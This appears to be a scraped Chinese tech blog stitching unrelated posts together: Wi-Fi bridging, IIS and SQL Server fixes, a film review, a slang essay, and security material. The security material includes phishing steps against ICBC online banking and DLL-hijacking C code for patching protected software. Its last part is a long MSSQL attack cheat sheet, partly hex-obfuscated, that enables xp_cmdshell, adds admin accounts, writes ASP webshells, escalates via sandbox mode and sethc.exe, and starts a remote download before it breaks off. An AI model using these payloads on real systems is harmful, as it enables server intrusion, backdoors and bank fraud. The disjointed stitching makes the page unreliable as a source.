买了HTC的手机,一直在家用无线上网,关闭了3G上网功能,没钱去耗那流量,对包月不感兴趣。
很早之前买了个无线网卡,Tenda_W541UV2.0 自带软AP功能,然后昨晚做了个测试,果然将手机通过无线网卡连上之后成功上网
将无线网卡跟本地连接的网卡做个桥接,然后设定无线的IP地址,开启软AP,手机设定静态的IP地址,IP跟本地连接同个网站,网关跟DNS也一样。测试效果正常上网
职位 :网络安全工程师 部门:研发部工作地点:北京招聘人数:5招聘类型:社会招聘招聘时间:2010联系邮箱:lifc@rising.com.cn职位信息: 工作职责:1、流行操作系统及应用平台的攻击及防御技术研究2、跟踪国内外安全动态,对安全事件进行快速响应任职资格:1、具有网络安全攻防知识和经验,对各类操作系统、应用平台的弱点有较深入的理解2、熟悉TCP/IP协议和逆向工程、C语言3、良好的文字表达能力,较强的独立工作能力,面对压力较好解决问题的能力4、计算机或相关专业本科以上学历(能力突出者学历和专业不限)......

买了HTC的手机,一直在家用无线上网,关闭了3G上网功能,没钱去耗那流量,对包月不感兴趣。
很早之前买了个无线网卡,Tenda_W541UV2.0 自带软AP功能,然后昨晚做了个测试,果然将手机通过无线网卡连上之后成功上网
将无线网卡跟本地连接的网卡做个桥接,然后设定无线的IP地址,开启软AP,手机设定静态的IP地址,IP跟本地连接同个网站,网关跟DNS也一样。测试效果正常上网

那天在一群里,一网友问我,你是兔子吗?
晕,本人身高八尺,才高八斗,至于干兔子吗?
他又问我,你知道兔子是什么意思吗?
更晕,“兔”在旧皇城是指“相公”——也就是指娈童之类。明清两代,北京城专门有那么一拨儿男人,从事这种让人包的行业。按照上中下三教九流,相公就是下九流的行当——比妓丨女还不如。老北京管妓丨女叫“鸡”,管娈童叫“兔”。中国古代,男风盛行,尤其自清朝乾隆年间禁止嫖妓后,反倒更加鼓励大家嫖男妓。那时京剧中反串女性的优伶,常兼作色情生意,称相公、或是称兔子。另外,袁枚在「子不语」中有提到,同性恋的男子为求爱情,会跑去兔子庙拜拜,兔子这个词似乎就有同性恋的意寓。
在日本这个性的国度,更有了兔斯基,明明就是说兔子就是基, 兔是基 ,也就是基佬,也叫兔子。同样的,翻翻古典,《木兰辞》中有“双兔傍地走,安能辩我是雌雄?”这句话!
我更想说,现在的伪娘是不是有了兔爷的本质,请充许我向太阳说声:“日!”
使用 FILE_NAME 函数可以返回给定文件标识 (ID) 号的逻辑文件名。
如下:
下例返回 file_ID 为 1 的文件名(master 数据库文件)。
USE master
SELECT FILE_NAME(1)
当我们进行从一个备份中还原数据库时,数据库的逻辑文件名是不会改变的。
可用 ALTER DATABASE 的 MODIFY FILE 子句作为替代方式更改数据文件或日志文件的逻辑名称。
alter database xxx modify file (name=xxx,newname=xxx)
事实上,上面的语句是更改了sysfiles和sysfiles1系统表中的name字段。
做两步操作
1 2 3 4 5 6 | 1、手动启动Distributed Transaction Coordinator服务。如果启动不了在CMD中执行 msdtc -resetlog 2、CD到 %windir%\system32\inetsrv 这个目录依次执行这两个命令 rundll32 wamreg.dll, CreateIISPackage regsvr32 asptxn.dll |
如果出现asptxn.dll出现0×8004e00f :
XP中IIS 500错误,不能编译asp解决方法或注册asptxn.dll出现0×8004e00f
都安装过n次IIS 都没安装成功,今天有空终于找到解决方法了,希望你也能成功。
今天我在新装的XP上安装IIS,结果出现如上所述的问题。打开HTML没有问题,打开ASP文件时就出现“HTTP 500”的错误信息。我把“显示友好HTTP错误信息”去掉,再打开ASP文件时出现:
1 2 | Server Application Error The server has encountered an error while loading an application during the processing of your request. Please refer to the event log for more detail information. Please contact the server administrator for assistance |
出现这样的情况是主要是由于IWAM账号(在我的计算机即是IWAM_MYSERVER账号)的密码错误造成了HTTP 500内部错误。
排除了一些基本的可能性外,我在网上搜寻了一下解决办法。最后终于解决了这个问题,在此分享一下。
先启动MSDTC服务,什么是MSDTC服务?显示名称:Distributed Transaction Coordinator;描述:协调跨多个数据库、消息队列、文件系统等资源管理器的事务。如果停止此服务,则不会发生这些事务。如果禁用此服务,显式依赖此服务的其他服务将无法启动。
CMD下net start msdtc
结果显示“distributed transaction coordinator 服务不能启动”。
解决方法:
把 C:\WINDOWS\system32\dtclog 这个目录重命名(如果有的话,没有就直接省去这一步),然后重新建立该目录。
在命令行下: msdtc -resetlog
再net start msdtc,显示服务启动成功了。
然后右键我的电脑–管理–本地用户和组,给IUSR_机器名和IWAM_机器名两个用户设置密码,要一样。
1 2 3 4 | 接着开始--运行--打cmd, 然后cd C:\Inetpub\AdminScripts, 然后cscript.exe adsutil.vbs set w3svc/wamuserpass 你设置的密码, 然后cscript.exe adsutil.vbs set w3svc/anonymoususerpass 你设置的密码。 |
看一下,行了没有?如果还不行,那么
cscript.exe synciwam.vbs -v,
然后iisreset。
到一步还是不行,最后在CMD下执行以下命令:
1 2 3 4 5 | cd %windir%\system32\inetsrv rundll32 wamreg.dll, CreateIISPackage regsvr32 asptxn.dll |
关闭所有的IE窗口后重新打开再执行,OK
========= 以下部分是网上重新找的资料 (如果执行上面步骤仍然不行,请继续) ==============================
1. 系统开始菜单里 点 运行 输入:
1 2 3 | regsvr32 jscript.dll (注:这个命令修复java脚本相关的动态链接库) 重新点运行 输入: regsvr32 vbscript.dll (注:这个命令修复vb脚本相关的动态链接库) |
=============
另有一种事对计算机组件服务-计算机-我的电脑下的com应用程序下的iis in-process applications使用安全权限进行分配。
利用工行暴露用户的预留信息(任何一个工行卡号不用输入密码就能获取预留信息),而预留信息是用户判定钓鱼网站的重要工具。不废话了来看看利用思路:
1.潜伏一个公司网络,获取路由权限或内网dns权限。
2.挂钓鱼网站在任意一台内部PC,并在路由(或DNS上)上做dns缓存转发将http://www.icbc.com.cn指向内网服务器ip(192.168.0.2)(备注:挂钓鱼站到公司内网更隐蔽更不易被网警发现)
3.用户购物或使用网银的时候将直接被引导到钓鱼网站,当用户输入卡号点下一步的时候卡号被发出到钓鱼者的网站后台,钓鱼者只需人工获取对应帐号对应的预留信息返回显示在钓鱼网站页面上给用户看,以骗取信任
4.完成支付密码被盗
这个不知该归类为漏洞还是归类为BUG,我5年前用工行网银的时候就发现了,在工行论坛发帖被删,给客服打电话也没见响应,其实这个BUG很多银行和支付平台也都有,预留信息是判定钓鱼网站的一个很重要的标准,现在连泄密都谈不上,直接暴露,而用户惯性相信有正确预留信息的才是真工行,如果一旦被钓鱼网站利用那么受害的将会有很多人。。。。。。
声明:只讨论信息安全勿用于非法用途。另:本人有关于这个BUG很好的解决方案欢迎银行和我联系
–
–首先分离XXXDB数据库
–找到文件所在的目录,删除Log.LDF文件
–执行此脚本,就可以附加数据库了
–
exec sp_attach_single_file_db 'cy0420','D:\SqlData\cy0420_Data.MDF'
设备激活错误。物理文件名 ‘D:\SqlData\cy0420_Log.LDF’ 可能有误。
已创建名为 ‘D:\SqlData\cy0420_log.LDF’ 的新日志文件。
美国电影《当幸福来敲门》(The Pursuit of Happiness)取材真实故事。故事的主角就是当今美国黑人投资专家Chris Gardner。成功诠释出一位濒临破产、老婆离家的落魄业务员,如何刻苦耐劳的善尽单亲责任,奋发向上成为股市交易员,最后成为知名的金融投资家的励志故事。该片获得2006年奥斯卡最佳男主角提名。另有同名大陆电视剧和同名图书。

当幸福来敲门票房称冠 史密斯扮丑演父亲
由威尔史密斯与亲儿子杰登首度同台主演的电影《当幸福来敲门》,上周末在北美推出后立刻造成催泪效应,两人感人肺腑的互动演出缔造出2700万美元高票房,击败同档《龙骑士》和《夏绿蒂的网》登上周末冠军。被视为黑人之光的威尔史密斯向来是好莱坞票房保证,《当幸福来敲门》是他自《MIB星际战警2》、《绝地战警2》、《机械公敌》、《鲨鱼黑帮》、《全民情圣》后第六部登上首周票房冠军的作品,而前五部冠军作在全球累绩的17亿美金票房更是让片商对他信心十足,认为《当》片有望成为威尔史密斯在北美第十部票房破亿代表作。
改编自真实传记
《当幸福来敲门》改编自美国著名黑人投资专家克里斯·加德纳今年年初出版的同名自传。这是一个典型的美国式励志故事。作为一名单身父亲,加纳一度面临连自己的温饱也无法解决的困境。在最困难的时期,加德纳只能将自己仅有的财产背在背上,一手提着尿布,一手推着婴儿车,与儿子一起前往无家可归者收容所。实在无处容身时,父子俩只能到公园、地铁卫生间这样的地方过夜。
为了养活儿子,穷困潦倒、无家可归的他从最底层的推销员做起,最后成为全美知名的金融投资家。回忆起自己的这段过去,克里斯·加纳表示:“在我二十几岁的时候,我经历了人们可以想象到的各种艰难、黑暗、恐惧的时刻,不过我从来没有放弃过。这本自传还有一层深意,那就是即使在最最艰难的时刻,父亲与儿子是不可分离的。”
20来岁的加德纳读书不多,任职医疗物资推销员,还要照顾女友和年幼儿子。1981年,他在旧金山一个停车场,看到一名驾着红色法拉利的男人正找车位,他回忆道:“我对他说:‘你可用我的车位,但我要你答两个问题:你做什么工作和怎样做?’”对方自称是股票经纪,月薪达80000美元,比加德纳年薪多一倍。
加德纳于是辞职转行,成功获得证券公司聘请,但还未上班,请他的人被解雇,新工作泡汤了。应征新工作前,他和女友吵架,惊动警员上门调停,加德纳被警方追讨1200美元的违例停车罚款,因为无力还钱,他被判入狱10天。但噩梦还未完,出狱后他发现女友同儿子都消失了,他变得一无所有。几个月后,女友再次现身,但不是想重修旧好,而是她不想带着儿子了。加德纳需要抚养孩子,不能再住单身宿舍,被迫流浪街头……廉价旅馆、公园、火车站厕所、办公室枱底,都成了两父子的栖身之所,一年后他才储够钱拥有自己的小窝。
加德纳努力赚钱,当上股票经纪后,事业一帆风顺。1987年他在芝加哥开设经纪公司做老板,成为百万富翁,近年致力在南非扶贫。他出版了自传,就是《当幸福来敲门》(The Pursuit of Happiness)。
亲子档真情演绎
主演威尔·史密斯并不经常出现在这类文艺片中,此次是受到改编自真实传记的剧本打动,才决定出演男主角,并亲自担任制片工作,他还找来以《冲击效应》走红的黑人女星谭蒂出演。因为非常欣赏加布里尔·穆奇诺导演的电影《最后一吻》和《同床异梦》,威尔·史密斯邀请加布里尔·穆奇诺来执导这部电影 。
而片中和威尔·史密斯有精彩互动演出的小童星,正是他戏外与《黑客任务》女星–贾达·平齐特所生的儿子杰登·史密斯。由于是和儿子对戏,以顾家出名的威尔·史密斯演来格外真情流露,他成功诠释出一位濒临破产、老婆离家的落魄业务员,如何刻苦耐劳的善尽单亲责任,奋发向上成为股市交易员的励志故事。片中的感人催泪几乎就会让观众招架不住,而史密斯为戏不惜扮丑搞邋遢的牺牲,更是被视为问鼎奥斯卡男主角的黑马。
对于如此一个严肃题材的传记电影,我们的“耍帅专家”威尔·史密斯也不得不变得认真起来。这个长着一对孩子般棕色眼睛和讨喜招风耳、笑起来格外具有感染力的喜剧明星,在短时间内减掉了25磅(约11公斤)的体重,使身材健硕的自己看上去像人物原型一样瘦削。此外,他还留长了头发、戴上了眼镜。为了增加人物的说服力,他甚至“请”来了自己的儿子贾德·史密斯,在剧中扮演克里斯·加纳的儿子。相信这样一来,原著中那种父子一心的情怀将在电影中得到真实的再现。
很经典一段分享
DLL劫持技术当一个可执行文件运行时,Windows加载器将可执行模块映射到进程的地址空间中,加载器分析可执行模块的输入表,并设法找出任何需要的DLL,并将它们映射到进程的地址空间中。
由于输入表中只包含DLL名而没有它的路径名,因此加载程序必须在磁盘上搜索DLL文件。首先会尝试从当前程序所在的目录加载DLL,如果没找到,则在Windows系统目录中查找,最后是在环境变量中列
出的各个目录下查找。利用这个特点,先伪造一个系统同名的DLL,提供同样的输出表,每个输出函数转向真正的系统DLL。程序调用系统DLL时会先调用当前目录下伪造的DLL,完成相关功能后,再跳到
系统DLL同名函数里执行,如图18.3所示。这个过程用个形象的词来描述就是系统DLL被劫持(hijack)了。
利用这种方法取得控制权后,可以对主程序进行补丁。此种方法只对除kernel32.dll、ntdll.dll等核心系统库以外的DLL有效,如网络应用程序的ws2_32.dll、游戏程序中的d3d8.dll,还有大部分应用
程序都调用的lpk.dll,这些DLL都可被劫持。
利用第5章5.6.2节提供的CrackMeNet.exe来演示一下如何利用劫持技术制作补丁,目标文件用Themida v1.9.2.0加壳保护。
1.补丁地址
去除这个CrackMe网络验证方法参考第5章5.6.2节,将相关补丁代码存放到函数PatchProcess()里。例如将401496h改成:
00401496 EB 29 jmp short 004014C1
补丁编程实现就是:
unsigned char p401496[2] = {0xEB, 0x29};
WriteProcessMemory(hProcess,(LPVOID)0x401496, p401496, 2, NULL);
p401496这个数组的数据格式,可以用OllyDbg插件获得,或十六进制工具转换。例如Hex Workshop打开文件,执行菜单“Edit/Copy As/Source”即可得到相应的代码格式。
2.构建输出函数
查看实例CrackMeNet.exe输入表,会发现名称为“ws2_32.dll”的DLL,因此构造一个同名的DLL来完成补丁任务。伪造的ws2_32.dll有着真实ws2_32.dll一样的输出函数,完整源码见光盘映像文件。实
现时,可以利用DLL模块中的函数转发器来实现这个目标,其会将对一个函数的调用转至另一个DLL中的另一个函数。可以这样使用一个pragma指令:
#pragma comment(linker, "/EXPORT:SomeFunc=DllWork.someOtherFunc")
这个pragma告诉链接程序,被编译的DLL应该输出一个名叫SomeFunc的函数。但是SomeFunc函数的实现实际上位于另一个名叫SomeOtherFunc的函数中,该函数包含在称为DllWork. dll的模块中。
如果要达到劫持DLL的目的,生成的DLL输出函数必须与目标DLL输出函数名一样。本例可以这样构造pragma指令:
#pragma comment(linker, "/EXPORT:WSAStartup=_MemCode_WSAStartup,@115")
编译后的DLL,会有与ws2_32.dll同名的一个输出函数WSAStartup,实际操作时,必须为想要转发的每个函数创建一个单独的pragma代码行,读者可以用工具AheadLib或用其他办法,将ws2_32.dll输出函
数转换成相应的pragma指令。
当应用程序调用伪装ws2_32.dll的输出函数时,必须将其转到系统ws2_32.dll中,这部分的代码自己实现。例如,WSAStartup输出函数构造如下:
ALCDECL MemCode_WSAStartup(void)
{
GetAddress("WSAStartup");
__asm JMP EAX;//转到系统ws2_32.dll的WSAStartup输出函数
}
其中,GetAddress()函数的代码如下:
// MemCode 命名空间
namespace MemCode
{
HMODULE m_hModule = NULL; //原始模块句柄
DWORD m_dwReturn[500] = {0}; //原始函数返回地址
// 加载原始模块
inline BOOL WINAPI Load()
{
TCHAR tzPath[MAX_PATH]={0};
TCHAR tzTemp[MAX_PATH]={0};
GetSystemDirectory(tzPath, sizeof(tzPath));
strcat(tzPath,"\\ws2_32.dll");
m_hModule = LoadLibrary(tzPath);//加载系统系统目录下ws2_32.dll
if (m_hModule == NULL)
{
wsprintf(tzTemp, TEXT("无法加载 %s,程序无法正常运行。"), tzPath);
MessageBox(NULL, tzTemp, TEXT("MemCode"), MB_ICONSTOP);
}
return (m_hModule != NULL);
} // 释放原始模块
inline VOID WINAPI Free()
{
if (m_hModule)
FreeLibrary(m_hModule);
}
// 获取原始函数地址
FARPROC WINAPI GetAddress(PCSTR pszProcName)
{
FARPROC fpAddress;
TCHAR szProcName[16]={0};
TCHAR tzTemp[MAX_PATH]={0};
if (m_hModule == NULL)
{
if (Load() == FALSE)
ExitProcess(-1);
}
fpAddress = GetProcAddress(m_hModule, pszProcName);
if (fpAddress == NULL)
{
if (HIWORD(pszProcName) == 0)
{
wsprintf(szProcName, "%d", pszProcName);
pszProcName = szProcName;
}
wsprintf(tzTemp, TEXT("无法找到函数 %hs,程序无法正常运行。"), pszProcName);
MessageBox(NULL, tzTemp, TEXT("MemCode"), MB_ICONSTOP);
ExitProcess(-2);
}
return fpAddress;
}
}
using namespace MemCode;
编译后,用LordPE查看伪造的ws2_32.dll输出函数,和真实ws2_32.dll完全一样,如图18.4所示。
图18.4 伪造ws2_32.dll的输出表
查看伪造的ws2_32.dll中任意一个输出函数,例如WSACleanup:
.text:10001CC0 ; int __stdcall WSACleanup()
.text:10001CC0 WSACleanup proc near
.text:10001CC0 push offset aWsacleanup ;"WSACleanup"
.text:10001CC5 call sub_10001000 ;GetAddress(WSACleanup)
.text:10001CCA jmp eax
.text:10001CCA WSACleanup endp
会发现输出函数WSACleanup()首先调用GetAddress(WSACleanup),获得真实ws2_32.dll中WSACleanup的地址,然后跳过去执行,也就是说,ws2_32.dll各输出函数被Hook了。
3.劫持输出函数
ws2_32.dll有许多输出函数,经分析,程序发包或接包时,WSAStartup输出函数调用的比较早,因此在这个输出函数放上补丁的代码。代码如下:
ALCDECL MemCode_WSAStartup(void)
{
hijack();
GetAddress("WSAStartup");
__asm JMP EAX;
}
hijack()函数主要是判断是不是目标程序,如果是就调用PatchProcess()进行补丁。 void hijack()
{
if (isTarget(GetCurrentProcess())) //判断主程序是不是目标程序,是则补丁之
{
PatchProcess(GetCurrentProcess());
}
}
伪造的ws2_32.dll制作好后,放到程序当前目录下,这样当原程序调用WSASTartup函数时就调用了伪造的ws2_32.dll的WSASTartup函数,此时hijack()函数负责核对目标程序校验,并将相关数据补丁好
,处理完毕后,转到系统目录下的ws2_32.dll执行。
这种补丁技术,对加壳保护的软件很有效,选择挂接的函数最好是在壳中没有被调用的,当挂接函数被执行时,相关的代码已被解压,可以直接补丁了。在有些情况下,必须用计数器统计挂接的函数的
调用次数来接近OEP。此方法巧妙地绕过了壳的复杂检测,很适合加壳程序的补丁制作。
一些木马或病毒也会利用DLL劫持技术搞破坏,因此当在应用程序目录下发现系统一些DLL文件存在时,如lpk.dll,应引起注意。
收藏很久了 不过看到很多朋友没有就放出来啦~~~
出来新的方法 欢迎大家补充。。。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 | sql2005恢复xp_cmdshell EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; 关闭:EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; 零、 --------------- -- 添加SA用户-- --------------- &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& 1、exec master.dbo.sp_addlogin system; 2、exec master.dbo.sp_addlogin system,system; 3、exec master.dbo.sp_addsrvrolemember itpro,sysadmin &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& 防注入 sa:itpro pass:itpro declare @s varchar(4000) set @s=cast(0x65786563206d61737465722e64626f2e73705f6164646c6f67696e20697470726f as varchar(4000));exec(@s); declare @c varchar(4000) set @c=cast(0x65786563206d61737465722e64626f2e73705f70617373776f7264206e756c6c2c697470726f2c697470726f as varchar(4000));exec(@c); declare @a varchar(4000) set @a=cast(0x65786563206d61737465722e64626f2e73705f616464737276726f6c656d656d6265722027697470726f272c2073797361646d696e as varchar(4000));exec(@a);-- and 1=1 防注入 sa:system pass:system declare @s varchar(4000) set @s=cast(0x65786563206d61737465722e64626f2e73705f6164646c6f67696e2073797374656d2c73797374656d as varchar(4000));exec(@s);declare @a varchar(4000) set @a=cast(0x65786563206d61737465722e64626f2e73705f616464737276726f6c656d656d626572202773797374656d272c2073797361646d696e as varchar(4000));exec(@a);-- and 1=1 一、 -------------- -恢复存储过程- -------------- &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& use master exec sp_addextendedproc xp_cmdshell,'xp_cmdshell.dll' exec sp_dropextendedproc "xp_cmdshell" exec sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' exec sp_dropextendedproc 'xp_cmdshell' exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll' exec sp_addextendedproc xp_dirtree,'xpstar.dll' exec sp_addextendedproc xp_enumgroups,'xplog70.dll' exec sp_addextendedproc xp_fixeddrives,'xpstar.dll' exec sp_addextendedproc xp_loginconfig,'xplog70.dll' exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll' exec sp_addextendedproc xp_getfiledetails,'xpstar.dll' exec sp_addextendedproc sp_OACreate,'odsole70.dll' exec sp_addextendedproc sp_OADestroy,'odsole70.dll' exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll' exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll' exec sp_addextendedproc sp_OAMethod,'odsole70.dll' exec sp_addextendedproc sp_OASetProperty,'odsole70.dll' exec sp_addextendedproc sp_OAStop,'odsole70.dll' exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll' exec sp_addextendedproc xp_regdeletekey,'xpstar.dll' exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll' exec sp_addextendedproc xp_regenumvalues,'xpstar.dll' exec sp_addextendedproc xp_regread,'xpstar.dll' exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' exec sp_addextendedproc xp_regwrite,'xpstar.dll' exec sp_addextendedproc xp_availablemedia,'xpstar.dll' &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& 恢复cmdshell防注入 ============================================================ declare @a varchar(255),@b varchar(255),@c varchar(255); set @a=0x6D61737465722E2E73705F616464657874656E64656470726F63; set @b=0x78705F636D647368656C6C; set @c=0x78706C6F6737302E646C6C; exec @a @b,@c ============================================================ 二、 ---------------------------------- --恢复sp_addextendedproc存储过程-- ---------------------------------- &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& create procedure sp_addextendedproc --- 1996/08/30 20:13 @functname nvarchar(517),/* (owner.)name of function to call */ @dllname varchar(255)/* name of DLL containing function */ as set implicit_transactions off if @@trancount > 0 begin raiserror(15002,-1,-1,'sp_addextendedproc') return (1) end dbcc addextendedproc( @functname, @dllname) return (0) -- sp_addextendedproc GO &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& 三、 -------------------------- --使用存储过程加管理方法-- -------------------------- &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& 1、master.dbo.xp_cmdshell 'net user itpro gmasfm && net localgroup administrators itpro /add' 2、EXEC sp_resolve_logins 'text', 'e:\asp\"&net user admina admin /add&net localgroup administrators admina /add&dir "e:\asp', '1.asp' 3、DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINdows\system32\cmd.exe /c net user sadfish fish /add' &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& 四、 ------------------------- -- 导出文件的存储过程 -- ------------------------- &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINdows\system32\cmd.exe /c netstat -an >c:\1.txt' &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& 五、 --------------------------- -- 读取文件的存储过程 -- --------------------------- &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& declare @o int, @f int, @t int, @ret int declare @line varchar(8000) exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'opentextfile', @f out, 'c:\1.txt', 1 exec @ret = sp_oamethod @f, 'readline', @line out while( @ret = 0 ) begin print @line exec @ret = sp_oamethod @f, 'readline', @line out end &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& 六、 ---------------------- -----写一句话木马----- ---------------------- &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& declare @o int, @f int, @t int, @ret int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'createtextfile', @f out, 'c:\Inetpub\tianhong\2.asp', 1 exec @ret = sp_oamethod @f, 'writeline', NULL, '<%execute(request("a"))%>' ' ' 单引号为要写的内容 <%25 if request("x")<>"" then execute(request("x"))%25> &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& 防注入写入法 ================================================================ declare @a int,@b int,@c varchar(255),@d varchar(255),@e varchar(255),@f varchar(255),@g varchar(255),@h varchar(255),@i varchar(255),@j varchar(255); set @c=0x6D61737465722E2E73705F6F61637265617465; set @d=0x6D61737465722E2E73705F6F616D6574686F64; set @e=0x536372697074696E672E46696C6573797374656D4F626A656374; set @f=0x4372656174655465787446696C65; set @g=0x433A5C496E65747075625C73797374656D2E617370; set @h=0x74727565; set @i=0x7772697465; set @j=0x3C256576616C20726571756573742822582229253E; exec @c @e,@a output; exec @d @a,@f,@b output,@g,@h; exec @d @b,@i,null,@j ================================================================== 七、 ---------------------- -----写一句话木马----- ---------------------- xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx declare @s nvarchar(4000);select @s=0x730065006c00650063007400200027003c00250045007800650063007500740065002800720065007100750065007300740028002200610022002900290025003e000d000a002700;exec sp_makewebtask 0x43003a005c007a00770065006c006c002e00610073007000, @s;-- and% 1=1 在上面一样;exec%20sp_makewebtask%20'd:\zjkdj\zjkdj\zjkds\bake.asp,'%20select%20''<%25execute(request("a"))%25>''%20';-- xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 八、 ---------------------- ---SA沙盒模式提权----- ---------------------- &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& 1、exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;-- 2、Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user itpro gmasfm /add")'); &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& 九、 -------------------- -----另类SA提权----- -------------------- xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 2、declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe'; 1、declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe'; DECLARE @o int DECLARE @z int EXEC sp_OACreate 'Shell.Users',@o OUT EXEC sp_OAMethod @o, 'Create', @z OUT, 'test' EXEC sp_OASetProperty @z, 'setting', 3 , 'AccountType' EXEC sp_OAMethod @z, 'ChangePassword',NULL , '123456', '' xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 十、 -------------- --导出注册表-- -------------- xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 1、drop table [regdir];create table [regdir](value nvarchar(1000) null,data nvarchar(1000) null)-- 2、delete [regdir];insert [regdir]exec master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port' xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 十一、 ---------------- ---下载程序----- ---------------- xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 1、declare @b varbinary(8000),@hr int,@http int,@down int exec sp_oacreate [microsoft.xmlhttp],@http output exec @hr = sp_oamethod @http,[open],null,[get],[http://192.168.1.6:800/wwwroot.rar],0 exec @hr = sp_oamethod @http,[send],null exec @hr=sp_oagetproperty @http,[responsebody],@b output exec @hr=sp_oacreate [adodb.stream],@down output exec @hr=sp_oasetproperty @down,[type],1 exec @hr=sp_oasetproperty @down,[mode],3 exec @hr=sp_oamethod @down,[open],null exec @hr=sp_oamethod 